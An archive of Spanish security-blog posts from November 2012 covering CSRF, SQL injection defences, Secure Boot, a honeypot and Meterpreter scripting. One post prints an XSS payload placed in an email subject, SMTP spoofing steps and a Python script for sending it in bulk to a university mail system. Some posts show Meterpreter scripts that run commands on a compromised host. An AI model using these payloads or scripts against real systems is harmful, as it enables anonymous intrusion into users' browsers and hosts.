viernes, 30 de noviembre de 2012

Ayudanos a actualizar nuestro listado de Herramientas de Seguridad

Compartir este artículo:

Buenas a todos, como la mayoría sabréis, en los casi 2 años que llevamos del proyecto Flu hemos estado generando un listado de herramientas de seguridad (http://www.flu-project.com/sobre-flu/herramientas-de-auditoria-de-seguridad) que listase todas las utilidades que usamos en nuestro dia a dia para tenerlas accesibles y darlas a conocer a gente que no las hubiese utilizado. Hoy hemos vuelto a actualizar el listado, llevamos ya más de 100 herramientas pero quedan aún muchas por añadir, por lo que os seguimos pidiendo ayuda para que nos vayáis remitiendo aquellas herramientas que echais en falta.

Por otro lado queremos abrir nuevas categorías de herramientas, en concreto hemos pensado en las siguientes (aunque se aceptan otras propuestas):

  • Monitorización/correlación de eventos
  • Cuadros de mando
  • Integridad de archivos
  • Ingeniería inversa
  • Sistemas de cibervigilancia
  • Firewalls
  • Wifi

Podéis comenzar a proponernos herramientas para incluir en las nuevas categorías a través de nuestros canales habituales: Twitter (@fluproject) y Correo electrónico (info@flu-project.com), o dejándonos un comentario en este post.

Contamos con vuestras aportaciones,Saludos!

jueves, 29 de noviembre de 2012

¿Y si os cuelan enlaces Black Seo en vuestra web?

Compartir este artículo:

Buenas a todos, ayer mientras "patrullaba la red" buscando un par de webs, me encontré con un site cuyo nombre era identico al de una de las páginas web que estaba buscando pero con la salvedad que el dominio en lugar de ser .com, era de un país en concreto. ¿Podría ser una versión local? Podría..., aunque en este caso no lo era.

Navegando por el site a modo de curiosidad veo contenido actualizado del día de ayer, es un site bastante activo y con numerosas visitas. En uno de mis paseos rutinarios por los buscadores de las webs, noté cierto estado "coma-toso" (poco trabajo de seguridad había detrás si...), ¿qué os voy a contar que no sepáis? El caso, es que ya ha habido algún que otro avispado con intenciones no muy "benignas" que había llegado antes y había aprovechado el pastel para lucrarse de una manera poco ortodoxa.

Si os dejo la siguiente captura del site, ¿sabríais decirnos que veis extraño?

Efectivamente, hay un link en la parte inferior izquierda con un texto "Black SEO" que canta a la legua y que dirige directamente a un blog con contenido pornográfico y acceso a contenidos de pago. La verdad que no es un caso sorprendente, ya me he encontrado varios casos de hostings reventados en los que todas las webs que tenían alojadas las llenaban de links de via_gra y otras situaciones similares.

La gracia del asunto es que si buscáis el nombre del blog por Internet, de procedencia Turca parece ser, hay más de un site (y en distintos hostings) que se han visto afectados por este "defacer", así que debe ser alguien que con paciencia va aumentando su pagerank para ganar más visitas, o alguien que ha adquirido un Plan publicitario de spam.

Conclusiones, de vez en cuando revisad los logs de vuestros servidores y el código fuente de vuestras webs, no sea que os cuelen algún que otro enlace no deseado (x1red+segura ;)

Saludos!

miércoles, 28 de noviembre de 2012

Cross Site Request Forgery: Qué es, para que sirve y como protegerlo

Compartir este artículo:

Buenas a todos, en Flu Project hemos hablado largo y tendido acerca de las vulnerabilidades de tipo web y de como explotarlas (incluso les hemos dedicado un reto hacking), pero hasta ahora nunca habiamos hablado de las vulnerabilidades de tipo CSRF (Cross Site Request Foregery).

CSRF es una vulnerabilidad web, quizás no tan conocida como las inyecciones SQL Injection o XSS, pero igualmente importante, que permite que un atacante realice peticiones en nombre de otro (víctima), gracias a que la aplicación web desconoce si la petición es realizada voluntariamente por el usuario o por un ataque CSRF.

Vamos a verlo con un ejemplo sencillo y con el que muchos estaréis familiarizados.

Imaginaros un blog en el que se encuentra un usuario autenticado. Para salir del blog utiliza un botón de desconexión que internamente llama a una función de logout como la siguiente:

http://www.miweb.com/logout.php

Si un usuario malicioso llegase a engañar al usuario victima para que ejecute el link camuflado con un phising en una imagen cualquiera por ejemplo o mediante ingeniería social, lograría que el usuario desconectase su sesión:

<img src="http://www.miweb.com/logout.php">

Este ejemplo que acabamos de ver es inofensivo, pero dependiendo del código introducido podremos ejecutar ordenes más jugosas en nombre de otro. Si unimos además esta vulnerabilidad a otras como los XSS las posibilidades se incrementan.

Para prevenirnos de los ataques CSRF deberíamos seguir las siguientes recomendaciones:
  • Filtrados iguales a los de las vulnerabilidades de tipo Cross-Site Scripting (XSS)
  • Uso de tokens aleatorios unicos en cada sesión (muy importante).
  • Re-autenticación en formularios en los que se traten datos sensibles

Un ejemplo práctico para filtrar esta vulnerabilidad en .Net podría ser el siguiente, en el que al cargar la página de inicio se proporciona un ID que será verificado a la vuelta del formulario para verificar si la acción es legítima o no:

void Page_Init(object sender, EventArgs e){ViewStateUserKey = Session.SessionID;}
Eso es todo por hoy, próximamente continuaremos con el mundo de las vulnerabilidades webSaludos!

martes, 27 de noviembre de 2012

Meterpreter Scripting: Mixins e interacción remota

Compartir este artículo:

En Flu Project hemos empezado a destripar, mediante una introducción, el desarrollo de scripts para Meterpreter. Es realmente interesante ser capaces de entender como se realizan estos scripts, para aumentar las tareas disponibles y poder personalizar éstas, en caso de necesitarlo en un test de intrusión. En este artículo vamos a presentar el concepto de Mixins, los cuales facilitan la interacción con el agente remoto (que inyecta en memoria meterpreter en la máquina remota).

Mixins

Los Mixins son una serie de llamadas que representan las tareas más comunes y más utilizadas en el desarrollo de scripts en Meterpreter. De esta manera se simplifica, y mucho, la interacción con el agente remoto. Existe un gran número de Mixins, aunque en el artículo de hoy se utilizará uno de los más básicos y utilizados, cmd_exec. Este mixin ejecuta en una cmd una orden en concreto que se especificará, de este modo se ejecutará una cmd en la máquina vulnerada y el resultado será mostrado en la máquina del atacante.

Código de hoy:

#Autor: Pablo Gonzalez#Windows Mensaje cmd remotoopts = Rex::Parser::Arguments.new("-h" => [false, "Help menu."],"-s" => [true, "Mostrar mensaje en remoto"])opts.parse(args) { |opt, idx, val|print_line "val: #{val}"print_line "idx: #{idx}"print_line "opt: #{opt}"case optwhen "-h"print_line "Ayuda de mi script de Meterpreter"print_line "Meterpreter RuLeZ"print_line(opts.usage)raise Rex::Script::Completedwhen "-s"if val != nilcmd_exec('cmd /c',"msg * #{val}")endend}if client.platform !~ /win32|win64/print_line "No compatible"raise Rex::Script::Completedelseprint_status("Hecho")end

Los parámetros que recibe este script son -h y -s, con -h se muestra un menú de ayuda informando de las posibilidades de dicho script. El parámetro -s se utiliza para recibir un mensaje el cual será lanzado, mediante la utilización de un mixin en remoto en la máquina vulnerada. El mixin que se utiliza es cmd_exec, el cual permite lanzar órdenes en una cmd en la máquina remota. La sintaxis del mixin cmd_exec es sencilla, el primer parámetro indica que aplicación o proceso se lanzará, y el segundo parámetro indica la orden que se ejecutará en la aplicación.

when "-s"if val != nilcmd_exec('cmd /c',"msg * #{val}")endend}
El resto de sentencias que se pueden leer en el script fueron analizadas en el post anterior de la serie de desarrollo de scripts para Meterpreter.Prueba de script

A continuación se puede visualizar la salida que provoca la ejecución del script mediante la instrucción run <ruta script>. Se puede visualizar la ayuda del script en la siguiente imagen. Se puede visualizar como el parámetro -s requiere la inserción de un string, el cual será mostrado en la máquina remota a modo de pop up.

 En la siguiente imagen se puede visualizar la ejecución de la orden con el parámetro -s.

Y tras la ejecución del script con el mensaje requerido obtenemos:

En los próximos artículos veremos más opciones interesantes y seguiremos destripando el desarrollo de scripts para Meterpreter. Además, analizaremos otros scripts que vienen por defecto, y que pueden resultar importantes a la hora de aprender este interesante mundo.

 *****************************************************Meterpreter scripts: Encenciendo el horno (Introducción) Por cierto, vengo a hablar de mi libro... Metasploit para pentesters, el libro que más orgullo y satisfacción me ha provocado :D

lunes, 26 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: Ronda final

Compartir este artículo:

Tercera y (espero) última entrega de "Los peligros de un XSS - Un ejemplo universitario".

Recapitulemos:Como vimos en episodios anteriores, existía una vulnerabilidad XSS en el sistema de mensajería interna de la universidad mediante el cual se podían ejecutar código Javascript en el navegador de quien recibiera y abriera el mensaje. Este "pequeño" fallo fue corregido de forma parcial limitando el uso de las etiquetas <script></script>, pero durante los hechos del segundo capítulo se comprobó que esta medida era insuficiente y gracias a la ayuda de un Cheat Sheet se conseguía saltar el sistema de filtrado.Una vez rememorados los mejores momentos de los anteriores capítulos veamos que aventuras nos ofrece el cierre de la trilogía. En la universidad además del sistema de mensajería interno, existe un correo asociado a cada usuario utilizado por todos varias veces al día. A dicho correo (a no ser que sea redirigido) se le puede acceder por dos interfaces web, una clásica (segura)  y otra mas nueva (MUERTE!!) no tan fiable.Estando ya en situación, imaginemos que existiera, como en anteriores ocasiones una vulnerabilidad XSS a la hora de leer un correo, esto sería mucho más peligroso (más adelante veremos los motivos) debido entre otras cosas al mayor uso que tiene este servicio respecto al otro. Pero NO, el problema no está ahí (por desgracia), la cosa es mucho mas sería ya que es el asunto del correo electrónico el que permite ejecutar Javascript, con lo que basta con cargar la interfaz, que compruebe nuevos correos y BUM!!! se ejecuta cualquier cosa que haya en el asunto:

En esta bonita interfaz, mandamos un correo a nuestro nombre al desafortunado destinatario. Como hemos dicho en el asunto escribiríamos algo como:

<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

asumiendo siempre que queremos ejecutar un alert ;)Nota: El significado de esta sentencia esta explicado en la entrega anterior.El desafortunado receptor, al abrir su bandeja y recibir el correo, verá impotente como su navegador muestra una ventana con (siguiendo el ejemplo) un 2 (además de mostrar al sensual David Hasselhoff ;)).

Para un atacante, en anteriores casos, tenia que apropiarse de una cuenta ajena para salir bien parado de un ataque de este tipo, pero ahora, además de ser mas peligroso, existe la posibilidad de conectarse al servidor SMTP del correo y mandar mensajes de forma totalmente anónima (por este motivo es más peligroso que los anteriores).Para hacer tal tarea tendrá que seguir una serie de pasos:

telnet IP 25

una vez haya establecido la conexión:

MAIL FROM: emisor@dominio

dónde caca@dominio es el falso emisor.

RCPT TO: receptor@dominio

y  receptor@dominio es el receptor del mensaje (debe de ser auténtico).

DATA

es el cuerpo del mensaje y donde escribiremos el código Javascript de la siguiente forma:

Subject: <img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

sabiendo que Subject es el asunto del mensaje.Para finalizar se escribe un punto:

.

 y ya podemos cerrar la conexión con:

QUIT

Esto da la posibilidad a ataques anónimos.

Si todo esto no es suficiente peligroso, añadamos un script con un bucle para que enviara un correo a X personas y si se juntase con BeEF (como se vio en el post anterior) se podría montar una bootnet de grandes dimensiones.El script podrías ser una modificación de este:

#!/usr/bin/env pythonimport telnetlibservidor = "IP"asunto = '<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">'t = telnetlib.Telnet(servidor, 25)t.read_some()t.read_some()t.write("MAIL FROM: emisor@dominio")t.write("\n")t.read_some()t.write("RCPT TO: receptor@dominio")t.write("\n")t.read_some()t.write("DATA")t.write("\n")t.read_some()t.write('Subject: ' + asunto)t.write("\n")t.write(".")t.write("\n")t.read_some()t.read_some()t.close()

Este script con algunas pequeñas modificaciones junto con alguien con oscuras intenciones podría llegar a ser muy peligroso, con lo que cerraremos el post con un par de complementos para nuestro navegador que ayudarán a prevenir este tipo de ataques:

[+] Google Chrome / Chromium      [-] ScriptNoPermite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.[-] FlashBlock: Igual que el anterior pero referido a flash.[+] Firefox / Iceweasel    [-] NoScript:  Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.[-] FlashblockIgual que el anterior pero referido a flash.

Y con este par de recomendaciones, concluimos la trilogía, nos leemos en breve ;)Nota I: Información de SOGo =>  http://www.sogo.nu/about/overview.htmlNota II: Python y Telnet =>  http://docs.python.org/2/library/telnetlib.html

domingo, 25 de noviembre de 2012

Informe Flu – 99

Compartir este artículo:

Comenzamos con el resumen de la semana:

Lunes 19 de NoviembreMartes 20 de NoviembreMiércoles 21 de NoviembreJueves 22 de Noviembre

Viernes 23 de Noviembre

Sábado 24 de Noviembre

sábado, 24 de noviembre de 2012

Flu a lo Jabalí - Seguridad Informática una cuestión de Actitud, No de Aptitud

Compartir este artículo:
Buenas a todos, como cada semana este sábado os traemos nuestro artículo recomendado de nuestro blog amigo Seguridad a lo Jabalí. En esta ocasión se trata de un artículo de opinión sobre la Seguridad de la Información:

Seguridad Informática una cuestión de Actitud, No de Aptitud

 
En cualquier faceta de negocio que esté involucrado el ser humano incluida la tecnología cualquier tema se vuelve complejo y la seguridad informática no es una excepción. Después de leer artículos fantásticos como el de Mariano M.del Río en Security By Default uno se queda pensando, como podemos ayudar a mejorar la seguridad, que pautas o referencias podemos aportar. Y la verdad es que esta casi todo dicho……
En la pasada mesa de seguridad Fernando de la Cuadra de Eset apostaba por la educación en seguridad, un mejor conocimiento del usuario que cada día se está demostrando como el eslabón más débil.
Yago Jesús de Security By Default defendía una postura más estricta para el usuario, que en realidad le beneficia porque no se delega más responsabilidad en el.
Un comentario de Yago que paso más desapercibido en la charla y me parece muy interesante, es que no se está exigiendo responsabilidades a los fabricantes de software, es decir si un usuario consume un yogurt en mal estado y se enferma deriva en unas consecuencias legales para la fabrica o el establecimiento que lo comercializa, en automoción también se tiene en cuenta la seguridad, no es viable un accidente producido por un error de fabricación pero eso no sucede en informática. 
Evidentemente no podemos culpar a una empresa informática porque se descubra una nueva vulnerabilidad, pero si la programación es descuidada, la configuración por defecto errónea tampoco tiene consecuencias aunque se perjudique a los clientes. No creo que Yago o yo le estemos descubriendo nada nuevo a los políticos o responsables de las grandes multinacionales: Google, Microsoft, Apple, Facebook, etc.
En mi caso realmente opino que hay una falta importante de información sobre los riesgos asociados a la tecnología, y mientras la Alta dirección no tenga sensación de amenaza no va a invertir dinero, recursos y tiempo en seguridad, los administradores no mantendrán las políticas de seguridad y los usuarios no las cumplirán. Lo cierto es que hoy en día existen medios para securizar una empresa pero mientras no sea una prioridad mantener la seguridad, no sirve de nada, el mejor software, el mejor cacharro o la mejor política de seguridad no funcionara mientras los implicados no se preocupen de que funcione cada día, así que no me queda otra que despedirme con un tópico…
La seguridad no es un producto, es un proceso.

viernes, 23 de noviembre de 2012

Dionaea, proyecto para el estudio de ataques y malware

Compartir este artículo:

El estudio de los ataques automatizados es muy interesante para poder ver, como los “malos” consiguen acceso a servidores desde los cuales luego hacen formar parte de su botnet, por ejemplo.

Uno de los proyectos MAS interesantes que he visto hasta ahora se trata de Dionaea, este proyecto suple al ya conocido Nephentes. Que seguro que mas de uno conoce.

Después de solo UN dia de tener Dionaea en funcionamiento ya me ha dado resultados bastante interesantes.

Para hacer la instalación lo tienen muy bien documentado, lo podremos encontrar aquí:

Dionaea

Recomiendo hacer la instalación en Ubuntu, mucho mas sencillo jeje :P

No volveré a poner la parte de instalación, mirad la web oficial, está explicadito, eso si, seguid todos los pasos.

Cuando hayamos arrancado Dionaena, pondrá a la escucha una serie de servicios:

root@marc:/home/marc# lsof -nPidionaea 31345 root 10u IPv4 833300 0t0 TCP 127.0.0.1:80 (LISTEN)dionaea 31345 root 11u IPv4 834271 0t0 TCP 127.0.0.1:443 (LISTEN)dionaea 31345 root 13u IPv4 834272 0t0 UDP 127.0.0.1:69dionaea 31345 root 15u IPv4 834273 0t0 TCP 127.0.0.1:21 (LISTEN)dionaea 31345 root 16u IPv4 834274 0t0 TCP 127.0.0.1:42 (LISTEN)dionaea 31345 root 17u IPv4 834275 0t0 TCP 127.0.0.1:445 (LISTEN)dionaea 31345 root 18u IPv4 834276 0t0 TCP 127.0.0.1:135 (LISTEN)dionaea 31345 root 19u IPv4 834277 0t0 TCP 127.0.0.1:5061 (LISTEN)dionaea 31345 root 20u IPv4 833301 0t0 UDP 127.0.0.1:5060dionaea 31345 root 21u IPv4 833302 0t0 TCP 127.0.0.1:5060 (LISTEN)dionaea 31345 root 22u IPv4 833303 0t0 TCP 127.0.0.1:1433 (LISTEN)dionaea 31345 root 23u IPv4 833304 0t0 TCP 127.0.0.1:3306 (LISTEN)dionaea 31345 root 24u IPv4 833305 0t0 TCP.153:80 (LISTEN)dionaea 31345 root 25u IPv4 833306 0t0 TCP .153:443 (LISTEN)dionaea 31345 root 26u IPv4 833307 0t0 UDP153:69dionaea 31345 root 27u IPv4 833308 0t0 TCP 153:21 (LISTEN)dionaea 31345 root 28u IPv4 833309 0t0 TCP 153:42 (LISTEN)dionaea 31345 root 29u IPv4 833310 0t0 TCP .153:445 (LISTEN)dionaea 31345 root 30u IPv4 833311 0t0 TCP .153:135 (LISTEN)dionaea 31345 root 31u IPv4 833312 0t0 TCP 46.4.94.153:5061 (LISTEN)dionaea 31345 root 32u IPv4 833313 0t0 UDP .153:5060dionaea 31345 root 33u IPv4 833314 0t0 TC 94.153:5060 (LISTEN)dionaea 31345 root 34u IPv4 833315 0t0 TCP 53:1433 (LISTEN)dionaea 31345 root 35u IPv4 833316 0t0 TCP 53:3306 (LISTEN)dionaea 31345 root 36u IPv6 833319 0t0 TCP [:fe00:26db]:80 (LISTEN)dionaea 31345 root 37u IPv6 833324 0t0 TCP [:fe00:26db]:443 (LISTEN)dionaea 31345 root 38u IPv6 833329 0t0 UDP [:fe00:26db]:69dionaea 31345 root 39u IPv6 833334 0t0 TCP [:fe00:26db]:21 (LISTEN)dionaea 31345 root 40u IPv6 833339 0t0 TCP [:fe00:26db]:42 (LISTEN)dionaea 31345 root 41u IPv6 833344 0t0 TCP [fe00:26db]:445 (LISTEN)dionaea 31345 root 42u IPv6 833349 0t0 TCP [fe00:26db]:135 (LISTEN)dionaea 31345 root 43u IPv6 833354 0t0 TCP [fe00:26db]:5061 (LISTEN)dionaea 31345 root 44u IPv6 833359 0t0 UDP [fe00:26db]:5060dionaea 31345 root 45u IPv6 833364 0t0 TCP [f:fe00:26db]:5060 (LISTEN)dionaea 31345 root 46u IPv6 833369 0t0 TCP [:fe00:26db]:1433 (LISTEN)dionaea 31345 root 47u IPv6 833374 0t0 TCP [:fe00:26db]:3306 (LISTEN)dionaea 31345 root 54u IPv4 846555 0t0 TCP .153:41598->.45:80 (CLOSE_WAIT)

He modificado las IP’s por razones evidentes :P juju

Dionaea expone servicios a la red como SMB, SIP, SMB, MYSQL y todos los resultados los guarda en una base de datos SQLite.

Además es capaz de capturar binarios que se utilicen en los ataques :D Simplemente, brillante.

De los servicios que emula y que guarda en base de datos, he mirado la base de datos de SQLite para que me diera los resultados, a continuación, algunos de ellos:

Hay muchísima cantidad de intentos de acceso por MYSQL, además también he sido capaz de registrar los usuarios y los passwords que se han usado en los intentos de acceso.

La cantidad de accesos simultáneos es impresionante….

También ha sido capaz de capturar 5 binarios :D

:D Ya miraré los binarios mas adelante jeje

Además veo que se utiliza de manera automatizada herramientas como SIPvicius para auditarlos.

Os recomiendo usar Dionaea, se pueden aprender muchas cositas jeje.

Aunque no es indetectable, nmap puede detectar si un servidor tiene corriendo Dionaea

443/tcp open ssl/https?| ssl-cert: Subject: commonName=Nepenthes Development Team/organizationName=dionaea.carnivore.it/countryName=DE| Not valid before: 2012-09-10 17:54:34|_Not valid after: 2013-09-10 17:54:34|_http-title: Directory listing for /445/tcp open microsoft-ds Dionaea honeypot smbd1433/tcp open ms-sql-s Dionaea honeypot MS-SQL server

Mas adelante mostraré mas resultados de este pedazo de software ;)

jueves, 22 de noviembre de 2012

Secure Boot: Windows 8 con protección contra bootkit

Compartir este artículo:

El ansiado sucesor de Windows 7, Windows 8, acaba de ser oficialmente lanzado al mercado. A nivel de características generales, presenta una nueva interfaz gráfica (GUI) denominada Metro, integración con servicios de Microsoft, entre otras mejoras. Sin embargo, también presenta varias novedades con respecto a la seguridad de la información. Una de estas, y quizás la más controversial, es Secure Boot. Antes de explicar en qué consiste este cambio, es importante aclarar algunos conceptos. En la actualidad, la mayoría de las PC implementan un firmware denominado BIOS (Basic Input/Output). Este software, es el encargado de gestionar elementos vitales para que la computadora pueda encenderse (inicia piezas de hardware como CPU, discos duros, memoria RAM, tarjetas de videos, periféricos como teclado y mouse, entre otros). Una vez que dicho proceso culmina de forma exitosa, el BIOS llama al boot loader, componente esencial para inicializar el sistema operativo.

Aunque el BIOS es una tecnología antigua que ha sido actualizada en varias oportunidades para mejorar la compatibilidad con nuevas generaciones de computadoras, su diseño posee ciertas limitaciones que afectan la seguridad como por ejemplo, que un código malicioso modifique el boot loader sin mayores dificultades. Por otro lado, Intel desarrolló UEFI (Unified Extensible Firmware Interface). Actualmente, UEFI es mantenido por un consorcio de empresas entre las que destacan Intel, Dell, Apple, HP, entre otras. A partir de Windows 8, Microsoft cambió su postura con respecto a la seguridad exigiéndoles a los fabricantes, que adopten esta tecnología en detrimento del veterano BIOS. Para fomentar este cambio, Microsoft exige a aquellas computadoras que vengas instaladas con Windows 8 de 64 bit, que implementen UEFI en caso que deseen pasar la prueba de compatibilidad y puedan ser vendidas con el logo de Windows 8. También, aquellos fabricantes que no se adhieran a este requerimiento, no recibirán beneficios de marketing ni tampoco podrán adquirir licencias por volumen.

A continuación se muestran dos esquemas que explican el funcionamiento actual de inicio a través del BIOS en comparación con Secure Boot:

Como puede observarse, cualquier malware bootkit puede modificar el boot loader y el sistema operativo se iniciaría sin advertirle nada al usuario. Esta situación cambió con el nuevo modelo de inicio que implementó Microsoft:

Este requerimiento de implementar UEFI se justifica en el sentido que Secure Boot depende de esta tecnología para poder ser implementado. Secure Boot impide que la computadora inicie el sistema operativo si el boot loader no posee un certificado digital válido producto de la modificación arbitraria de un código malicioso. De este modo, cualquier malware tipo bootkit como el que se describe en nuestra publicación Bootkit Olmasco: ¿una evolución de TDL4?, no podrá funcionar de forma efectiva. Asimismo, este tipo de códigos maliciosos poseen la particularidad de iniciarse en una etapa muy temprana de la carga de Windows, por lo tanto, la amenaza obtiene el control completo del sistema pudiendo interferir en el funcionamiento de soluciones antivirus, en el proceso de remoción del malware, entre otras acciones complejas. Como Secure Boot requiere que el boot loader esté firmado correctamente, se dificulta que un bootkit funcione adecuadamente. En complemento con Secure Boot, Microsoft también implementó otra característica que permite mejorar la protección del sistema operativo ante una infección de un bootkit. Se trata de Early Launch Anti Malware (ELAM), tecnología que permite cargar programas que no sean de Microsoft como soluciones de seguridad mientras se inicia Windows 8. Esto es importante porque permite que un software como ESET Smart Security, se cargue en una etapa temprana y se facilite la detección de códigos maliciosos complejos como rootkit y bootkit.Con respecto a la seguridad de la información resulta positivo ambos cambios que Microsoft adoptó, sin embargo, Secure Boot no está exento de controversias y críticas. Sus detractores aducen que no podrán instalar otros sistemas operativos como Linux por no poseer el certificado digital correspondiente, no obstante, para la tranquilidad de estos usuarios, empresas como Canonical (Ubuntu) y Red Hat, implementaron métodos para soportar esta tecnología. Asimismo, parte de las exigencias de Microsoft respecto a Secure Boot y los fabricantes es que estos permitan desactivar en UEFI dicha opción

 Fuente: Autor: André Goujon. Especialista de Awareness & Research

miércoles, 21 de noviembre de 2012

Protegiendo inyecciones de código SQL en PHP, J2EE y .Net

Compartir este artículo:

Buenas a todos, en el post de hoy volvemos a hablar de las inyecciones de código SQL, en este caso para brindaros algunos trucos para filtrarlas y proteger vuestros aplicativos en función del lenguaje que utilicéis en vuestros desarrollos.

En primer lugar hay que tener en cuenta algunos conceptos clave para poder protegernos de este tipo de inyecciones:

  • Siempre que sea posible deberemos parametrizar las consultas
  • Nunca utilizar en las aplicaciones usuarios con privilegios de administración. Siempre deberán utilizarse usuarios que tengan los permisos mínimos para ejecutar las tareas para las que fue diseñada la aplicación
  • Utilizar mensajes de error personalizados, evitando mostrar información del fabricante del software, versión, etc.
  • Siempre hay que validar los datos de entrada, independientemente de que su explotación no nos produzca ningún perjuicio, ya que podrían utilizarse de trampolín para atacar a otros sistemas

Aclaradas algunas claves, a continuación os mostraremos 3 ejemplos para los lenguajes/frameworks más comunmente utilizados, PHP, J2EE y .Net.

PHP

En el caso de PHP puede ser interesante hacer uso de PHP Data Objects (PDO) y las consultas parametrizadas (bindParam())

A continuación se presenta un ejemplo de sentencia SQL que devuelve los usuarios de la tabla TablaUsuarios cuyo valor de la columna Nombre coincide con el texto "Flu":

$sql= ‘SELECT * FROM TablaUsuarios WHERE Nombre= :name’;$query= $conn->prepare($sql);$query->bindParam(‘:name’, ‘Flu’);$query->execute();

J2EE

De la misma manera que con el anterior ejemplo en PHP haremos uso de las consultas parametrizadas, en este caso gracias a “PreparedStatement”.

Ahora recuperaremos los usuarios de la TablaUsuarios cuyo identificador de usuario sea "5":

ps = c.prepareStatement("SELECT * FROM TablaUsuarios WHERE idUsuario=?”);ps.setInt(1, 5);ResultSet rs = ps.executeQuery();

.NET

Finalmente mostraremos un ejemplo práctico para parametrizar consultas en .Net haciendo uso de “SQLCommand”.

Al igual que en el anterior ejemplo recuperaremos los usuarios de la TablaUsuarios cuyo identificador de usuario sea "5":

SqlCommand q= new SqlCommand(‘SELECT * FROM TablaUsuarios WHERE idUsuario=@id’, conexion);q.Parameters.AddWithValue("@id", 5);r = q.ExecuteReader();

Eso es todo por hoy, proximamente seguiremos mostrando ejemplos sobre como aplacar este tipo de inyecciones.

Saludos!

martes, 20 de noviembre de 2012

Scripts para Meterpreter: Encenciendo el horno

Compartir este artículo:

Meterpreter es uno de los payloads más famosos del mundo, denominado por muchos como el rey de los payloads, por todas las funcionalidades que aporta. ¿Podemos aprovecharlo al máximo? ¿Qué es el máximo? ¿Hemos pensado que podemos desarrollar para este payload? Estas preguntas tienen respuesta afirmativa, ya que podemos diseñar e implementar nuestros propios scripts para que Meterpreter los ejecute, ¿Qué necesitamos? Sí, en este caso hay un requisito previo, conocer Ruby. Realmente, a mi me ha picado la curiosidad de aprender Ruby, y de poder desarrollar scripts para este payload, e incluso módulos para el framework. Aprenderemos a desarrollar scripts para Meterpreter!!!

Estas tareas e inquietudes aportan al auditor o usuario de Metasploit la posibilidad de disponer de herramientas inéditas, e incluso de disponer de armas que otros o nadie dispone. Lógicamente, no es una tarea sencilla, debemos tener ideas claras sobre el pentesting y exploiting, dotes de programación en Ruby, entender bien el funcionamiento del framework, paciencia, laboratorio y, lo más importante, ideas sobre que queremos hacer. Podemos tener todas las partes anteriores, que si no tenemos ideas sobre que cosas hacer, no nos servirán de mucho...

Mi primer script para Meterpreter: Hola Mundo

El primer script que desarrollaremos para Meterpreter será el famoso Hola Mundo de todos los programas cuando alguien empieza en el arte de la programación. Entenderemos que los usuarios ya disponer de conocimientos básicos de Ruby, y nos basaremos en detallar que es lo que estamos desarrollando, sin pararnos en exceso en el lenguaje Ruby.

¿Dónde se almacenan los scripts de Meterpreter? Los scripts de Meterpreter son aquellos que son ejecutados por el comando run <script>, cuando se dispone de una sesión de Meterpreter. Estos se encuentran en la siguiente ruta, distribución de BackTrack, /pentest/exploits/framework3/scripts/meterpreter.

Mi código

#Autor: Pablo Gonzalez#Windows Hola Mundo Metasploitopts = Rex::Parser::Arguments.new("-h" => [false, "Help menu."],"-s" => [true, "Mostrar mensaje en Metasploit"])if client.platform !~ /win32|win64/print_line "No compatible"raise Rex::Script::Completedendopts.parse(args) { |opt, idx, val|print_line "val: #{val}"print_line "idx: #{idx}"print_line "opt: #{opt}"case optwhen "-h"print_line "Ayuda de mi script de Meterpreter"print_line "Meterpreter RuLeZ"print_line(opts.usage)raise Rex::Script::Completedwhen "-s"if val != nilprint_line "#{val}"endend}

El código a priori puede parecer confuso, pero vamos a ir destripando y viendo que es sencillo. Hay que entender que este código no hace gran cosa, pero nos dará pie a realizar otros scripts con una mayor funcionalidad.

En primer lugar hablaremos del siguiente fragmento de código:
#Autor: Pablo Gonzalez#Windows Hola Mundo Metasploitopts = Rex::Parser::Arguments.new("-h" => [false, "Help menu."],"-s" => [true, "Mostrar mensaje en Metasploit"])

Los comentarios vienen precedidos por la almohadilla, como en otros lenguajes. El script comienza con declarando una variable opts, la cual referencia a un objeto de tipo Arguments. La clase Arguments viene de Rex y Parser. Para crear una instancia de la clase Arguments se utiliza el constructor New, al que se le pasan un número indefinido de parámetros especiales, en este caso dos. El primer parámetro que se le pasa es "-h" = > [false, "Help menú"], el segundo parámetro  es "-s" => [true, "Mostrar mensaje en Metasploit"]. Los argumentos son separados por comas. Este objeto registra que estos valores son claves para identificar parámetros más adelante.

¿Qué es lo que está ocurriendo realmente? Lo que se está definiendo al objeto de tipo Arguments, es que argumentos se esperan y si recibirán algún tipo de información dichos argumentos. En este ejemplo tenemos que el parámetro -h se corresponde con el menú de ayuda o help menu, mientras que el parámetro -s se corresponde con un posible mensaje que saldrá por pantalla. El primero tiene un campo false, mientras que el segundo tiene el mismo campo a true. ¿Qué es esto? False indica que el parámetro es de tipo SIN VALOR asociado, es decir, no debemos pasarle ningún texto a dicho parámetro para que ejecute su función. Por otro lado el true indica que el parámetro es de tipo CON VALOR asociado, es decir, debemos pasarle un texto a dicho parámetro para que ejecute su función.

opts.parse(args) { |opt, idx, val|print_line "val: #{val}"print_line "idx: #{idx}"print_line "opt: #{opt}"case optwhen "-h"print_line "Ayuda de mi script de Meterpreter"print_line "Meterpreter RuLeZ"print_line(opts.usage)raise Rex::Script::Completedwhen "-s"if val != nilprint_line "#{val}"endend}

El segundo fragmento de código sigue ejecutándose sobre el objeto que acabamos de crear, y se indica a este objeto que cuando se invoque la ejecución del script se realice un parseo de los parámetros de entrada. La línea opts.parse(args) { |opt, idx, val| lo que está indicando es que se parseen los argumentos de entrada en la ejecución del script y además se realice iteraciones, mediante un bucle y se traten las tres variables siguientes opt, idx y val. ¿Qué almacenan dichas variables? opt es la variable que marca que parámetro es el que se está ejecutando, por ejemplo, en nuestro caso disponemos de -h y -s. La variable idx indica el número que ocupa el argumento en la iteración, en otras palabras, marcará 0 para el primer parámetro, pero si este es de tipo con texto asociado, el siguiente será el parámetro 2, ya que el 1 es el texto asociado al parámetro anterior. La variable val contiene el valor del parámetro asociado, es decir, en nuestro el parámetro -s tendrá una variable val con un valor concreto, el cual podrá ser tratado en el parseo de los parámetros de entrada.

Después nos encontramos con el case, este switch identifica el valor que tiene la variable opt en cada iteración y en función de ese valor se irá por una rama u otra del case. En nuestro caso, cuando opt valga -h se ejecutará el menú de ayuda y cuando valga -s se ejecutará la opción de salida por pantalla de un texto.

